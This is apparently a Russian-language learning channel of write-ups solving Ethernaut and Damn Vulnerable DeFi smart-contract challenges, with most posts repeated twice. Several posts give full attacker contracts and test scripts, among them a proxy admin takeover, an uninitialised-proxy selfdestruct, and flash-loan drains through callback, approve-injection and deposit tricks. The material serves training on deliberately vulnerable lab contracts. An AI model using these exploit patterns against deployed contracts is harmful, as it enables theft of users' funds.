function attack() {
PuzzleProxy .proposeNewAdmin(attackerAddress);
puzzleWallet.addToWhitelist(attackerAddress);
bytes[] memory insideCall = new bytes[](1);
insideCall[0] = abi.encodeWithSelector(PuzzleWallet.deposit.selector);
bytes[] memory calls = new bytes[](2);
calls[0] = abi.encodeWithSelector(PuzzleWallet.deposit.selector);
calls[1] = abi.encodeWithSelector(PuzzleWallet.multicall.selector, insideCall);
puzzleWallet.multicall{value: 0.001 ether}(calls);
puzzleWallet.execute(attackerAddress, 0.002 ether, "");
puzzleWallet.setMaxBalance(uint256(attackerAddress));
}
На самом деле задачи ethernaut сейчас открывают смарт контракты с новой стороны для меня. Только вчитавшись в них, порывшись в сети, изучив функции и кодирование, можно понять, что хорошо защищенный контракт может содержать уязвимость.
Для этого мы тут и учимся.
#ethernaut
PuzzleProxy .proposeNewAdmin(attackerAddress);
puzzleWallet.addToWhitelist(attackerAddress);
bytes[] memory insideCall = new bytes[](1);
insideCall[0] = abi.encodeWithSelector(PuzzleWallet.deposit.selector);
bytes[] memory calls = new bytes[](2);
calls[0] = abi.encodeWithSelector(PuzzleWallet.deposit.selector);
calls[1] = abi.encodeWithSelector(PuzzleWallet.multicall.selector, insideCall);
puzzleWallet.multicall{value: 0.001 ether}(calls);
puzzleWallet.execute(attackerAddress, 0.002 ether, "");
puzzleWallet.setMaxBalance(uint256(attackerAddress));
}
На самом деле задачи ethernaut сейчас открывают смарт контракты с новой стороны для меня. Только вчитавшись в них, порывшись в сети, изучив функции и кодирование, можно понять, что хорошо защищенный контракт может содержать уязвимость.
Для этого мы тут и учимся.
#ethernaut
Ethernaut. Задача 25. Motorbike
В этой задаче нам нужно вызвать selfdestruct в контракте Engine и испортить контракт Motorbike.
Ссылка на задачу
В чем суть?
Еще одна задача, решая которую я потратил добрые 3-4 часа... Вообще не понятно, почему она помечена низкой сложностью.
Для ее решения мне пришлось просмотреть кучу статей о работе прокси контрактов, в частности uups.
Вот первая, вторая и третья ссылки, которые помогли мне больше всего.
Суть всей задачи была сведена в инициализацию контракта Engine. Ну, т.е. когда вы создаете прокси контракт, вы должны контракт с логикой инициализировать тоже.
В задаче этого не было сделано. Нам нужно самим вызвать функцию initialize() в Engine с адресом самого Engine, чтобы получить права upgrader.
После этого останется всего лишь upgradeToAndCall() адрес нашего хакерского контракта с selfdestruct. После этого Engine будет уничтожен, а Motorbike станет бесполезным.
contract Destroy{
function kill() external {
selfdestruct(address(0));
}
}
contract Getit {
Motorbike challenge = Motorbike(motorbikeAddress);
Engine engineAddress = Engine(address(uint160(uint256(vm.load(address(challenge), 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc)))));
function run() external{
engineAddress.initialize();
bytes memory encodedData = abi.encodeWithSignature("kill()");
engineAddress.upgradeToAndCall(0x04dE0eA8556C85b94E61bC83B43d4FFb6DdC30F1, encodedData);
}
}
Пишу пост сразу после решения задачи, и, возможно, будет звучать он немного сложнее, чем задумывается. Нужно еще много чего прочитать про прокси контракты, чтобы лучше понимать их логику.
Вся суть заключается в том, чтобы при деплое проверять свои контракты на инициализацию в прокси и в логике, чтобы никто не смог извне вызвать напрямую initialize().
#ethernaut
В этой задаче нам нужно вызвать selfdestruct в контракте Engine и испортить контракт Motorbike.
Ссылка на задачу
В чем суть?
Еще одна задача, решая которую я потратил добрые 3-4 часа... Вообще не понятно, почему она помечена низкой сложностью.
Для ее решения мне пришлось просмотреть кучу статей о работе прокси контрактов, в частности uups.
Вот первая, вторая и третья ссылки, которые помогли мне больше всего.
Суть всей задачи была сведена в инициализацию контракта Engine. Ну, т.е. когда вы создаете прокси контракт, вы должны контракт с логикой инициализировать тоже.
В задаче этого не было сделано. Нам нужно самим вызвать функцию initialize() в Engine с адресом самого Engine, чтобы получить права upgrader.
После этого останется всего лишь upgradeToAndCall() адрес нашего хакерского контракта с selfdestruct. После этого Engine будет уничтожен, а Motorbike станет бесполезным.
contract Destroy{
function kill() external {
selfdestruct(address(0));
}
}
contract Getit {
Motorbike challenge = Motorbike(motorbikeAddress);
Engine engineAddress = Engine(address(uint160(uint256(vm.load(address(challenge), 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc)))));
function run() external{
engineAddress.initialize();
bytes memory encodedData = abi.encodeWithSignature("kill()");
engineAddress.upgradeToAndCall(0x04dE0eA8556C85b94E61bC83B43d4FFb6DdC30F1, encodedData);
}
}
Пишу пост сразу после решения задачи, и, возможно, будет звучать он немного сложнее, чем задумывается. Нужно еще много чего прочитать про прокси контракты, чтобы лучше понимать их логику.
Вся суть заключается в том, чтобы при деплое проверять свои контракты на инициализацию в прокси и в логике, чтобы никто не смог извне вызвать напрямую initialize().
#ethernaut
❤2
Ethernaut. Задачи 13, 18 и 26
Три задачи из всего списка, две из которых я так и не смог понять (пока что), а другую просто не хочу разбирать.
Gatekeeper One
В этой задаче нам нужно пройти через три модификатора.
Ссылка на задачу
В чем суть?
Тут нужно хорошо разбираться в побитовых операциях и конвертации.
Первые ворота проходятся обычным созданием стороннего контракта и вызовом функции оттуда. Вторые - брутфорсом газа, как в примере ниже (нашел на просторах интернета):
function lettMeIn() public external {
for (uint256 i=0; i<120; i++) {
(bool success, bytes memory data) = address(levelAddress).call{gas: i+150+8191*3}(abi.encodeWithSignature("enter(bytes8)", key));
if(success){break}
}
}
где, 120 просто рандомное число, для ограничения итераций, а в gas: i+150+8191*3 :
i - номер итерации,
150 - push opcode из дебага,
8191 - модула,
3 - стоимость газа push.
Я видел также решения, которые подбирались вручную, но мне хотелось автоматизировать это.
А вот с последним модификатором я завис. Пока что, конвертации не мое.
‼️ ВАЖНО! Если кто-то может расписать объяснение по третьему модификатору (не накидать ссылок, а именно написать полноценный пост разбор), я буду очень признателен и выложу на канал!
Magic Number
В этой задаче нам нужно написать код контракта, который не будет превышать 10 опкода.
Ссылка на задачу
В чем суть?
Решение задачи крайне простое: нужно вывести число 42. Но обычная функция "весит" слишком много, assembly чуть меньше, но все равно много. Поэтому требуется всю функцию переписать в форме опкода.
С опкодом я еще не сталкивался ранее, и та информация, что попадалась, не пролила свет. Можно было бы тупо скопипастить решение сюда, но я бы не смог его разобрать и объяснить.
Вернусь к ней как-нибудь позже.
‼️ВАЖНО! Если кто-то может рассказать про опкод подробнее в посте / статье / видео, я буду очень признателен. Это поможет всем участникам канала чуть больше разобраться в этой теме.
DoubleEntryPoint
В этой задаче нам нужно обнаружить уязвимость контракта и зарыть ее с помощью контракта Forta.
Ссылка на задачу
В чем суть?
Признаться честно, я просто не хочу решать эту задачу. Не потому, что она сложная, а скорее из-за контрактов Forta. К самой компании я претензий не имею, но сейчас у меня цель научиться обнаруживать уязвимости в контрактах, а не обучаться новым сервисам.
А эта задача составлена в партнерстве openzeppelin и forta, на мой взгляд, чтобы пользователи узнали о forta и начали использовать его.
Говоря кратко об уязвимости в контракте, то обратить внимание нужно на функцию transfer() в контракте LegacyToken, которая позволяет обменивать токены DET (или underlying), которые как бы нельзя трогать, вместе с LegacyToken. Эту дыру нам и предлагают закрыть с Forta.
Далее мы попробуем порешать задачи с проекта Damn Vulnerable Defi.
#ethernaut
Три задачи из всего списка, две из которых я так и не смог понять (пока что), а другую просто не хочу разбирать.
Gatekeeper One
В этой задаче нам нужно пройти через три модификатора.
Ссылка на задачу
В чем суть?
Тут нужно хорошо разбираться в побитовых операциях и конвертации.
Первые ворота проходятся обычным созданием стороннего контракта и вызовом функции оттуда. Вторые - брутфорсом газа, как в примере ниже (нашел на просторах интернета):
function lettMeIn() public external {
for (uint256 i=0; i<120; i++) {
(bool success, bytes memory data) = address(levelAddress).call{gas: i+150+8191*3}(abi.encodeWithSignature("enter(bytes8)", key));
if(success){break}
}
}
где, 120 просто рандомное число, для ограничения итераций, а в gas: i+150+8191*3 :
i - номер итерации,
150 - push opcode из дебага,
8191 - модула,
3 - стоимость газа push.
Я видел также решения, которые подбирались вручную, но мне хотелось автоматизировать это.
А вот с последним модификатором я завис. Пока что, конвертации не мое.
‼️ ВАЖНО! Если кто-то может расписать объяснение по третьему модификатору (не накидать ссылок, а именно написать полноценный пост разбор), я буду очень признателен и выложу на канал!
Magic Number
В этой задаче нам нужно написать код контракта, который не будет превышать 10 опкода.
Ссылка на задачу
В чем суть?
Решение задачи крайне простое: нужно вывести число 42. Но обычная функция "весит" слишком много, assembly чуть меньше, но все равно много. Поэтому требуется всю функцию переписать в форме опкода.
С опкодом я еще не сталкивался ранее, и та информация, что попадалась, не пролила свет. Можно было бы тупо скопипастить решение сюда, но я бы не смог его разобрать и объяснить.
Вернусь к ней как-нибудь позже.
‼️ВАЖНО! Если кто-то может рассказать про опкод подробнее в посте / статье / видео, я буду очень признателен. Это поможет всем участникам канала чуть больше разобраться в этой теме.
DoubleEntryPoint
В этой задаче нам нужно обнаружить уязвимость контракта и зарыть ее с помощью контракта Forta.
Ссылка на задачу
В чем суть?
Признаться честно, я просто не хочу решать эту задачу. Не потому, что она сложная, а скорее из-за контрактов Forta. К самой компании я претензий не имею, но сейчас у меня цель научиться обнаруживать уязвимости в контрактах, а не обучаться новым сервисам.
А эта задача составлена в партнерстве openzeppelin и forta, на мой взгляд, чтобы пользователи узнали о forta и начали использовать его.
Говоря кратко об уязвимости в контракте, то обратить внимание нужно на функцию transfer() в контракте LegacyToken, которая позволяет обменивать токены DET (или underlying), которые как бы нельзя трогать, вместе с LegacyToken. Эту дыру нам и предлагают закрыть с Forta.
Далее мы попробуем порешать задачи с проекта Damn Vulnerable Defi.
#ethernaut
🔥2
Объяснение задачи Gatekeeper One от Nekto
В предыдущем посте я попросил участников помочь разобраться с третьим модификатором в задаче, так как я пока не могу понять, что там да как.
Напомню сам модификатор, который требуется пройти:
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}
Участник сообщества Nekto написал развернутый ответ:
На вход в функцию подается 8 байт (64 бита, 1 байт = 8 бит).
В машинном коде байты хранятся справа налево, те 8 байт можно представить как "(7)(6)(5)(4)(3)(2)(1)(0)" , где (0) - это нулевой байт, (1) - первый байт и т.д.
Теперь uint32 - это число, которое занимает 32 бита или 4 байта. Аналогично uint64 и uint16 - это числа которые занимают 64 бита (8 байт) и 16 бит (2 байта).
Теперь по приведению.
uint64(_gateKey) - переменную _gateKey (8 байт), мы преобразуем в число размером 8 байт, никакой потери информации не происходит так как размер переменных одинаковый.
uint32(uint64(_gateKey)) - мы знаем, что результат uint64(_gateKey) у нас 8 байт, а uint32 - это только 4 байта. Значит будет приведение с потерей информации. Так как байты считаются от нулевого, то фактически мы возьмем байты (3)(2)(1)(0) а остальные выкинем.
Теперь смотрим, что нам требуется:
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)));
чтобы последние 4 байта (uint32) были равны двум последним байтам. Это возможно только в случае, если 2й и 3й байты нулевые, так как 0x0000ABCD = 0xABCD (ABCD это произвольное число в 16й системе).
require(uint32(uint64(_gateKey)) != uint64(_gateKey));
Последние 4 байта (uint32) не равняются 8 байтам исходного числа. Мы уже определили, что 2 и 3й байты нулевые. А из этого условия находим, что байты 4-7 не должны быть нулевыми (пусть будут xFF например).
Т.е. ключ у нас получается 0xFFFFFFFF0000ABCD , осталось найти только ABCD.
require(uint32(uint64(_gateKey)) == uint16(tx.origin));
Нам нужно чтобы последние 4 байта (uint32) от ключа равнялись последним двум байтам (uint16) от tx.origin.
Последние 4 байта от ключа, это у нас 0x0000ABCD, те байт AB и байт CD - это два байта от tx.origin
Итого ключ будет строиться следующим образом
байты (7)-(4) - произвольные данные, но обязательно хоть один не нулевой
байты (3)-(2) - обязательно нулевые
байты (1)-(0) - последние два байта от tx.origin
Комментарий от меня лично. Мне пришлось перечитать пост несколько раз, но понял я лишь тогда, когда взял листок бумаги и по шагам все записывал. Возможно, этот способ поможет еще кому-то разобраться в теме.
Спасибо Nekto за объяснение!
#ethernaut #gatekeeper #gateone
В предыдущем посте я попросил участников помочь разобраться с третьим модификатором в задаче, так как я пока не могу понять, что там да как.
Напомню сам модификатор, который требуется пройти:
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}
Участник сообщества Nekto написал развернутый ответ:
На вход в функцию подается 8 байт (64 бита, 1 байт = 8 бит).
В машинном коде байты хранятся справа налево, те 8 байт можно представить как "(7)(6)(5)(4)(3)(2)(1)(0)" , где (0) - это нулевой байт, (1) - первый байт и т.д.
Теперь uint32 - это число, которое занимает 32 бита или 4 байта. Аналогично uint64 и uint16 - это числа которые занимают 64 бита (8 байт) и 16 бит (2 байта).
Теперь по приведению.
uint64(_gateKey) - переменную _gateKey (8 байт), мы преобразуем в число размером 8 байт, никакой потери информации не происходит так как размер переменных одинаковый.
uint32(uint64(_gateKey)) - мы знаем, что результат uint64(_gateKey) у нас 8 байт, а uint32 - это только 4 байта. Значит будет приведение с потерей информации. Так как байты считаются от нулевого, то фактически мы возьмем байты (3)(2)(1)(0) а остальные выкинем.
Теперь смотрим, что нам требуется:
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)));
чтобы последние 4 байта (uint32) были равны двум последним байтам. Это возможно только в случае, если 2й и 3й байты нулевые, так как 0x0000ABCD = 0xABCD (ABCD это произвольное число в 16й системе).
require(uint32(uint64(_gateKey)) != uint64(_gateKey));
Последние 4 байта (uint32) не равняются 8 байтам исходного числа. Мы уже определили, что 2 и 3й байты нулевые. А из этого условия находим, что байты 4-7 не должны быть нулевыми (пусть будут xFF например).
Т.е. ключ у нас получается 0xFFFFFFFF0000ABCD , осталось найти только ABCD.
require(uint32(uint64(_gateKey)) == uint16(tx.origin));
Нам нужно чтобы последние 4 байта (uint32) от ключа равнялись последним двум байтам (uint16) от tx.origin.
Последние 4 байта от ключа, это у нас 0x0000ABCD, те байт AB и байт CD - это два байта от tx.origin
Итого ключ будет строиться следующим образом
байты (7)-(4) - произвольные данные, но обязательно хоть один не нулевой
байты (3)-(2) - обязательно нулевые
байты (1)-(0) - последние два байта от tx.origin
Комментарий от меня лично. Мне пришлось перечитать пост несколько раз, но понял я лишь тогда, когда взял листок бумаги и по шагам все записывал. Возможно, этот способ поможет еще кому-то разобраться в теме.
Спасибо Nekto за объяснение!
#ethernaut #gatekeeper #gateone
❤1
Damn Vulnerable Defi. Задача 1. Unstoppable
Работа с DVD немного отличается от Ethernaut. Здесь предлагается решать задачи в вашем редакторе кода, используя hardhat тесты. Да, конечно, можно продолжать все делать в Ремиксе и писать контракты, но давайте немного попрактикуемся с HH.
Для начала нужно немного подготовиться.
1. Скачать в папку DVD с GitHub отсюда;
2. Затем в консоли ввести git checkout v2.2.0, чтобы проверить последнюю версию;
3. После установить все зависимости с yarn install;
Все решения задач нам нужно будет писать в js файлах в папке test. Когда решение будет готово, то в консоли прописываем yarn run challenge-name, чтобы пройти тест. Решение правильное, если все тесты будут пройдены.
В чем суть первой задачи?
Предлагается вывести из строя быстрые займы.
Просмотрев контракты, мы можем найти функцию flashLoan() с уязвимой проверкой: assert(poolBalance == balanceBefore), на что и намекает подсказка в файле.
Следовательно, если мы сможем пополнить баланс контракта, не используя функцию depositTokens(), мы нарушим проверку assert() и заблокируем контракт.
В поле для решения задачи нужно прописать всего одну строку:
await this.token.connect(attacker).transfer(this.pool.address, "12");
После запускаем тест yarn run unstoppable и видим, что тест прошел удачно.
#dvd #DamnVulnerableDefi
Работа с DVD немного отличается от Ethernaut. Здесь предлагается решать задачи в вашем редакторе кода, используя hardhat тесты. Да, конечно, можно продолжать все делать в Ремиксе и писать контракты, но давайте немного попрактикуемся с HH.
Для начала нужно немного подготовиться.
1. Скачать в папку DVD с GitHub отсюда;
2. Затем в консоли ввести git checkout v2.2.0, чтобы проверить последнюю версию;
3. После установить все зависимости с yarn install;
Все решения задач нам нужно будет писать в js файлах в папке test. Когда решение будет готово, то в консоли прописываем yarn run challenge-name, чтобы пройти тест. Решение правильное, если все тесты будут пройдены.
В чем суть первой задачи?
Предлагается вывести из строя быстрые займы.
Просмотрев контракты, мы можем найти функцию flashLoan() с уязвимой проверкой: assert(poolBalance == balanceBefore), на что и намекает подсказка в файле.
Следовательно, если мы сможем пополнить баланс контракта, не используя функцию depositTokens(), мы нарушим проверку assert() и заблокируем контракт.
В поле для решения задачи нужно прописать всего одну строку:
await this.token.connect(attacker).transfer(this.pool.address, "12");
После запускаем тест yarn run unstoppable и видим, что тест прошел удачно.
#dvd #DamnVulnerableDefi
Damn Vulnerable Defi. Задача 2. Naive receiver
В чем суть?
Предлагается вывести из строя быстрые займы.
Имеется пул займов с достаточно дорогими flash loans и балансом в 1000 Эфиров. Также есть пользовательский контракт с 10 Эфирами, который может взаимодействовать с пулом и брать займ.
Нужно захватить весь Эфир пользователя. Будет плюсом, если сможете сделать это в одной транзакции.
Уязвимость кроется в функции flashLoan() контракта NaiveReceiverLenderPool, которая не защищена от внешнего вызова другим контрактом. Это мы и будем использовать.
Для начала создадим контракт взлома. Я поместил его в файл с контрактом Naive.
contract Attacker {
NaiveReceiverLenderPool private naive;
constructor(address payable poolAddress) {
naive = NaiveReceiverLenderPool(poolAddress);
}
function attack(address recipient, uint256 attacks) public {
for(uint256 i = 0; i < attacks; i++) {
naive.flashLoan(recipient, 0);
}
}
}
По сути, он подключается к контракту Naive, и от его имени берет займы в пуле.
Затем уже в файле теста js пишем наше решение:
const attackerContract = await (await ethers.getContractFactory('Attacker', attacker)).deploy(this.pool.address);
await attackerContract.connect(attacker).attack(this.receiver.address, 10);
В первой строке мы делаем деплой контракта Attacker, под адресом attacker, который нам дается в начале, и с адресом контракта Naive.
Потом мы подключаемся к контракту от имени attacker и вызываем функцию attack(), с указанием параметров адреса пула и количества итераций.
Проводим тест yarn run naive-receiver и убеждаемся, что все работает.
#dvd #DamnVulnerableDefi
В чем суть?
Предлагается вывести из строя быстрые займы.
Имеется пул займов с достаточно дорогими flash loans и балансом в 1000 Эфиров. Также есть пользовательский контракт с 10 Эфирами, который может взаимодействовать с пулом и брать займ.
Нужно захватить весь Эфир пользователя. Будет плюсом, если сможете сделать это в одной транзакции.
Уязвимость кроется в функции flashLoan() контракта NaiveReceiverLenderPool, которая не защищена от внешнего вызова другим контрактом. Это мы и будем использовать.
Для начала создадим контракт взлома. Я поместил его в файл с контрактом Naive.
contract Attacker {
NaiveReceiverLenderPool private naive;
constructor(address payable poolAddress) {
naive = NaiveReceiverLenderPool(poolAddress);
}
function attack(address recipient, uint256 attacks) public {
for(uint256 i = 0; i < attacks; i++) {
naive.flashLoan(recipient, 0);
}
}
}
По сути, он подключается к контракту Naive, и от его имени берет займы в пуле.
Затем уже в файле теста js пишем наше решение:
const attackerContract = await (await ethers.getContractFactory('Attacker', attacker)).deploy(this.pool.address);
await attackerContract.connect(attacker).attack(this.receiver.address, 10);
В первой строке мы делаем деплой контракта Attacker, под адресом attacker, который нам дается в начале, и с адресом контракта Naive.
Потом мы подключаемся к контракту от имени attacker и вызываем функцию attack(), с указанием параметров адреса пула и количества итераций.
Проводим тест yarn run naive-receiver и убеждаемся, что все работает.
#dvd #DamnVulnerableDefi
👍1
Damn Vulnerable Defi. Задача 3. Truster
В чем суть?
Есть контракт с балансом 1 млн токенов DVT. Нам нужно захватить их все.
В этой задаче нужно обратить внимание на количество аргументов, которые принимает функция, а также что позже она просто вызывает функцию в токене ( target.functionCall(data)), в надежде, что она будет обрабатывать возврат денег. Этим мы и воспользуемся.
Для начала напишем простой контракт:
contract AttackerPool {
IERC20 public immutable dvd;
TrusterLenderPool private immutable pool;
constructor (address tokenAddress, address poolAddress) {
dvd = IERC20(tokenAddress);
pool = TrusterLenderPool(poolAddress);
}
function attack( address attacker) public {
uint256 poolBalance = dvd.balanceOf(address(pool));
pool.flashLoan(0, address(this), address(damnValuableToken), abi.encodeWithSignature("approve(address,uint256)", attacker, poolBalance));
}
receive () external payable {}
}
И четвертым аргументом передадим функцию approve(), которая одобрит адрес хакера на перевод всех токенов.
После чего пишем свое решение в тестах:
const AttackerContractFactory = await ethers.getContractFactory('AttackerPool', deployer);
const attackerContract = await AttackerContractFactory.deploy(this.token.address, this.pool.address);
await attackerContract.connect(attacker).attack(attacker.address);
await this.token.connect(attacker).transferFrom(this.pool.address, attacker.address, TOKENS_IN_POOL);
Делаем деплой контракта, подключаемся от адреса хакера, вызываем функцию атаки, а потом просто перебрасываем токены к себе на баланс.
Делаем проверку yarn run truster и гордимся результатом.
#dvd #DamnVulnerableDefi
В чем суть?
Есть контракт с балансом 1 млн токенов DVT. Нам нужно захватить их все.
В этой задаче нужно обратить внимание на количество аргументов, которые принимает функция, а также что позже она просто вызывает функцию в токене ( target.functionCall(data)), в надежде, что она будет обрабатывать возврат денег. Этим мы и воспользуемся.
Для начала напишем простой контракт:
contract AttackerPool {
IERC20 public immutable dvd;
TrusterLenderPool private immutable pool;
constructor (address tokenAddress, address poolAddress) {
dvd = IERC20(tokenAddress);
pool = TrusterLenderPool(poolAddress);
}
function attack( address attacker) public {
uint256 poolBalance = dvd.balanceOf(address(pool));
pool.flashLoan(0, address(this), address(damnValuableToken), abi.encodeWithSignature("approve(address,uint256)", attacker, poolBalance));
}
receive () external payable {}
}
И четвертым аргументом передадим функцию approve(), которая одобрит адрес хакера на перевод всех токенов.
После чего пишем свое решение в тестах:
const AttackerContractFactory = await ethers.getContractFactory('AttackerPool', deployer);
const attackerContract = await AttackerContractFactory.deploy(this.token.address, this.pool.address);
await attackerContract.connect(attacker).attack(attacker.address);
await this.token.connect(attacker).transferFrom(this.pool.address, attacker.address, TOKENS_IN_POOL);
Делаем деплой контракта, подключаемся от адреса хакера, вызываем функцию атаки, а потом просто перебрасываем токены к себе на баланс.
Делаем проверку yarn run truster и гордимся результатом.
#dvd #DamnVulnerableDefi
👍1
Damn Vulnerable Defi. Задача 4. Side entrance
В чем суть?
Нужно вывести весь Эфир с пула.
В этой задаче функция flashloan() по итогу просто проверяет баланс контракта, на предмет вернулся ли займ обратно. Также есть execute() функция, которая и должна отвечать за возврат займа в нашем контракте.
Чтобы взломать этот пул нам достаточно взять займ и в функции execute() в нашем контракте вызвать функцию deposit() пул контракта. Поняли схему?
Мы берем займ и закидываем его сразу себе на счет. Баланс контракта пополняется на сумму займа, и flashloan(), со своей проверкой баланса, думает что все ок и займ вернулся. После чего мы может просто вызвать функцию withdraw() и забрать все деньги.
Просто контракт может выглядеть так:
contract Attacker4 {
SideEntranceLenderPool pool;
address payable attacker;
constructor (address poolAdd, address attackerAdd) {
pool = SideEntranceLenderPool(poolAdd);
attacker = payable(attackerAdd);
}
function attack(uint256 amount) external {
pool.flashLoan(amount);
pool.withdraw();
}
function execute() external payable{
pool.deposit{value: msg.value}();
}
receive () external payable {
attacker.transfer(msg.value);
}
}
И решение:
const SideEntranceAttackerFactory = await ethers.getContractFactory('Attacker4', deployer);
const attackerContract = await SideEntranceAttackerFactory.deploy(this.pool.address, attacker.address);
await attackerContract.connect(attacker).attack(ETHER_IN_POOL);
Проверяем через yarn run side-entrance.
#dvd #DamnVulnerableDefi
В чем суть?
Нужно вывести весь Эфир с пула.
В этой задаче функция flashloan() по итогу просто проверяет баланс контракта, на предмет вернулся ли займ обратно. Также есть execute() функция, которая и должна отвечать за возврат займа в нашем контракте.
Чтобы взломать этот пул нам достаточно взять займ и в функции execute() в нашем контракте вызвать функцию deposit() пул контракта. Поняли схему?
Мы берем займ и закидываем его сразу себе на счет. Баланс контракта пополняется на сумму займа, и flashloan(), со своей проверкой баланса, думает что все ок и займ вернулся. После чего мы может просто вызвать функцию withdraw() и забрать все деньги.
Просто контракт может выглядеть так:
contract Attacker4 {
SideEntranceLenderPool pool;
address payable attacker;
constructor (address poolAdd, address attackerAdd) {
pool = SideEntranceLenderPool(poolAdd);
attacker = payable(attackerAdd);
}
function attack(uint256 amount) external {
pool.flashLoan(amount);
pool.withdraw();
}
function execute() external payable{
pool.deposit{value: msg.value}();
}
receive () external payable {
attacker.transfer(msg.value);
}
}
И решение:
const SideEntranceAttackerFactory = await ethers.getContractFactory('Attacker4', deployer);
const attackerContract = await SideEntranceAttackerFactory.deploy(this.pool.address, attacker.address);
await attackerContract.connect(attacker).attack(ETHER_IN_POOL);
Проверяем через yarn run side-entrance.
#dvd #DamnVulnerableDefi
Damn Vulnerable Defi. Задача 5. The rewarder
Есть пул, которые предлагает вознаграждение в токенах каждые пять дней для тех, кто сделал депозит своих токенов в него. Четыре человека уже сделали депозит и получили свой выигрыш. В новом раунде, вам нужно забрать выигрыш себе. Можно использовать другой пул, который предлагает займы токенов.
В чем суть?
Задача заняла у меня больше времени, так как я искал внутреннюю уязвимость контрактов, вместо раздумывания над условием. Нам нужно просто получить токены из вознаграждения. Ни взламывать функции, ни искать подоплеку не нужно.
Просто берем займ, делаем депозит, получаем бонусы, возвращаем займ. И это работает. Хотя есть некая неуверенность, что смысл задачи был именно в этом. Но условие соблюдено, значит ок.
И так, мы берем займ в пуле, потом в функции, которая отвечает за возврат средств, прописываем условия депозита, вывод награды и возврата займа.
Простой контракт может выглядеть так:
contract Attacker5 {
DamnValuableToken damnValuableToken;
FlashLoanerPool flashLoanpool;
TheRewarderPool rewarderPool;
RewardToken rewardToken;
address attacker;
constructor (
address tokenAddress,
address flashLoanPoolAddress,
address rewarderPoolAddress,
address rewardTokenAddress,
address attackerAddress) {
damnValuableToken = DamnValuableToken(tokenAddress);
flashLoanpool = FlashLoanerPool(flashLoanPoolAddress);
rewarderPool = TheRewarderPool(rewarderPoolAddress);
rewardToken = RewardToken(rewardTokenAddress);
attacker = attackerAddress;
}
function attack(uint256 amount) external {
flashLoanpool.flashLoan(amount);
}
function receiveFlashLoan(uint256 amount) external {
damnValuableToken.approve(address(rewarderPool), amount);
rewarderPool.deposit(amount);
rewarderPool.distributeRewards();
rewarderPool.withdraw(amount);
rewardToken.transfer(attacker, rewardToken.balanceOf(address(this)));
damnValuableToken.transfer(msg.sender, amount);
}
receive() external payable {}
}
Ну, и в решении, главное промотать время на 5 дней вперед.
const RewarderAttackerfactory = await ethers.getContractFactory('Attacker5', deployer);
const attackerContract = await RewarderAttackerfactory.deploy(
this.liquidityToken.address,
this.flashLoanPool.address,
this.rewarderPool.address,
this.rewardToken.address,
attacker.address
);
await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]);
await attackerContract.connect(attacker).attack(TOKENS_IN_LENDER_POOL);
Проверяем на правильность решения командой yarn run the-rewarder.
#dvd #DamnVulnerableDefi
Есть пул, которые предлагает вознаграждение в токенах каждые пять дней для тех, кто сделал депозит своих токенов в него. Четыре человека уже сделали депозит и получили свой выигрыш. В новом раунде, вам нужно забрать выигрыш себе. Можно использовать другой пул, который предлагает займы токенов.
В чем суть?
Задача заняла у меня больше времени, так как я искал внутреннюю уязвимость контрактов, вместо раздумывания над условием. Нам нужно просто получить токены из вознаграждения. Ни взламывать функции, ни искать подоплеку не нужно.
Просто берем займ, делаем депозит, получаем бонусы, возвращаем займ. И это работает. Хотя есть некая неуверенность, что смысл задачи был именно в этом. Но условие соблюдено, значит ок.
И так, мы берем займ в пуле, потом в функции, которая отвечает за возврат средств, прописываем условия депозита, вывод награды и возврата займа.
Простой контракт может выглядеть так:
contract Attacker5 {
DamnValuableToken damnValuableToken;
FlashLoanerPool flashLoanpool;
TheRewarderPool rewarderPool;
RewardToken rewardToken;
address attacker;
constructor (
address tokenAddress,
address flashLoanPoolAddress,
address rewarderPoolAddress,
address rewardTokenAddress,
address attackerAddress) {
damnValuableToken = DamnValuableToken(tokenAddress);
flashLoanpool = FlashLoanerPool(flashLoanPoolAddress);
rewarderPool = TheRewarderPool(rewarderPoolAddress);
rewardToken = RewardToken(rewardTokenAddress);
attacker = attackerAddress;
}
function attack(uint256 amount) external {
flashLoanpool.flashLoan(amount);
}
function receiveFlashLoan(uint256 amount) external {
damnValuableToken.approve(address(rewarderPool), amount);
rewarderPool.deposit(amount);
rewarderPool.distributeRewards();
rewarderPool.withdraw(amount);
rewardToken.transfer(attacker, rewardToken.balanceOf(address(this)));
damnValuableToken.transfer(msg.sender, amount);
}
receive() external payable {}
}
Ну, и в решении, главное промотать время на 5 дней вперед.
const RewarderAttackerfactory = await ethers.getContractFactory('Attacker5', deployer);
const attackerContract = await RewarderAttackerfactory.deploy(
this.liquidityToken.address,
this.flashLoanPool.address,
this.rewarderPool.address,
this.rewardToken.address,
attacker.address
);
await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]);
await attackerContract.connect(attacker).attack(TOKENS_IN_LENDER_POOL);
Проверяем на правильность решения командой yarn run the-rewarder.
#dvd #DamnVulnerableDefi
👍2
Damn Vulnerable Defi. Задача 6. Selfie
Есть пул, который предлагает заqмы в токенах и имеет свой governance. Цель задачи захватить все токены из пула.
В чем суть?
Задача научила меня смотреть не только сами контракты, но и js файл, или точнее сказать условия их деплоя. Тогда вся картина сложилась. А именно то, что оба этих контракта используют один и тот же токен: и для займа, и для голосования. Более того, нет никакой проверки, откуда у адресата токены.
Картина взлома такая: мы берем займ по известной ранее схеме, создаем голосование и потом выводим все токены. Но тут есть пара моментов.
Когда мы создаем новое предложение в governance, используя функцию queueAction(), то создаем новую структуру GovernanceAction, одним из параметров которой является bytes data. Его можно использовать для передачи функции на вывод всех токенов из пула.
